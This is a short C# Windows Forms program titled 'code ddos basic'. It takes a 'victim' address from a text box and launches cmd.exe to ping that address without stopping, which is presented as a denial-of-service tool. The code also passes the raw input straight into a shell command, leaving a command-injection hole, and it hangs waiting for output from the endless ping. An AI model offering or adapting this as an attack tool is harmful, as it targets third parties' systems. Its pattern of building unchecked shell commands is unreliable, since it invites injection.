code ddos basic

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;

namespace ddos
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if (textBox1.Text == "")
            {
                MessageBox.Show("Bạn chưa điền victim vào", "Error");
            }
            else
            {
                //enter code here
                string victim;
                victim = "ping " + textBox1.Text + " -t";
                ProcessStartInfo processStartInfo = new ProcessStartInfo("cmd.exe");
                processStartInfo.RedirectStandardInput = true;
                processStartInfo.RedirectStandardOutput = true;
                processStartInfo.UseShellExecute = false;
                Process process = Process.Start(processStartInfo);
                process.StandardInput.WriteLine(victim);
                process.StandardInput.Close();
                string kq = process.StandardOutput.ReadToEnd();
                MessageBox.Show(kq);
            }
        }
    }
}